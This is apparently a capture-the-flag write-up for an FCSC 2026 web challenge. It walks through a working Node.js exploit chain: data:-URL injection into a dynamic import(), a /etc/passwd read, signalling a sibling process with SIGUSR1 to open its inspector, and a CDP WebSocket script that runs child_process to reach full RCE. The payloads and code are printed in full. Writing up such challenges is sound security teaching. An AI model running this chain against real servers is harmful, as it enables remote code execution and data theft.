pwneglyph logo
web web-server nodejs dynamic-import data-url esm import-injection node-permission-model sigusr1 node-inspector cdp websocket debugger-pivot rce

Inject a data:text/javascript module into a dynamic import() to get code execution under Node's --permission sandbox (fs-read only), then SIGUSR1 a sibling unrestricted node process to open its inspector, drive it over CDP/WebSocket, and run child_process for full RCE.

FCSC Aquarium — data: import injection → SIGUSR1 inspector pivot

CTF: FCSC 2026 · Category: Web (server-side) · Goal: RCE to run /getflag

Challenge overview

An Express app whose /language route does a dynamic import() with user input in the path:

// server.mjs
app.post("/language", async (req, res) => {
  const requested = req.body?.lang || "fr";
  try { res.json(await import(requested + "/index.js")); }   // <-- attacker controls `requested`
  catch { res.json(await import("fr/index.js")); }
});

It also serves /message from /tmp/message.txt, and a separate messages.js is run in a shell loop:

while true; do node /home/ctf/messages.js; done

The server itself runs under Node's permission sandbox:

command=node --permission --allow-fs-read=/ /usr/app/server.mjs

So inside the server we get fs read of the whole FS but no child_process/spawn — and, crucially, --permission disables the SIGUSR1 inspector listener for that process. messages.js, however, runs without --permission.

Step 1 — import() injection via a data: URL

import() accepts data: URLs. Inject data:text/javascript,<code> and use a trailing // to comment out the appended /index.js:

{"lang":"data:text/javascript,export default 42;//"}

The route returns the module's exports as JSON, so anything we put on export default is reflected back — a clean read oracle. Confirm with an fs read (allowed by the sandbox):

{"lang":"data:text/javascript,import {readFileSync} from \"node:fs\";export default { data: readFileSync(\"/etc/passwd\",\"utf8\") }//"}

But child_process is blocked here, so this alone isn't RCE.

Step 2 — wake a non-sandboxed inspector with SIGUSR1

Node starts the inspector on 127.0.0.1:9229 when it receives SIGUSR1 — but only for processes not launched with --permission. The looping messages.js qualifies. From our import-exec context (which can read /proc and send signals), find its PID and signal it:

import { readdirSync, readFileSync } from "node:fs";
let pid;
for (const p of readdirSync("/proc")) {
  try { if (readFileSync("/proc/"+p+"/cmdline","utf-8").includes("messages.js")) { pid = +p; break; } } catch {}
}
process.kill(pid, "SIGUSR1");
const j = await (await fetch("http://127.0.0.1:9229/json/list")).json();
export default { url: j[0].webSocketDebuggerUrl };   // ws://127.0.0.1:9229/<uuid>

Step 3 — drive the inspector over CDP for RCE

Connect to the debugger WebSocket and send Runtime.evaluate. The debuggee is CommonJS and require isn't in scope under Runtime.evaluate, so reach it via process.mainModule.require. messages.js is unrestricted, so child_process works:

const out = await new Promise((resolve, reject) => {
  const ws = new WebSocket(url);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1, method: "Runtime.evaluate",
    params: { returnByValue: true,
      expression: 'process.mainModule.require("node:child_process").execFileSync("/getflag").toString()' }
  }));
  ws.onmessage = ({data}) => { const d = JSON.parse(data); if (d.id !== 1) return; ws.close(); resolve(d.result.result.value); };
  ws.onerror = reject;
});
export default { out };

Wrapped as the lang payload, sent to /language:

{"out":"FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}"}

The whole thing is one self-contained ESM data URL: find PID → SIGUSR1 → /json/list → WS → Runtime.evaluate/getflag.

Takeaways (generalized technique)

  • User input flowing into import() (or require()) is RCE: a data:text/javascript,...// URL executes arbitrary module code; // swallows any appended suffix like /index.js.
  • Node's --permission sandbox blocks child_process and the SIGUSR1 inspector — but only for the process it launched. Any sibling Node process started without --permission is a pivot: signal it SIGUSR1 to open 127.0.0.1:9229, then drive it via CDP (/json/listwebSocketDebuggerUrlRuntime.evaluate).
  • Under Runtime.evaluate, require may be undefined — use process.mainModule.require(...).
  • Even a "useless" looping helper process is an attack surface; check every Node process's flags.

Sources & references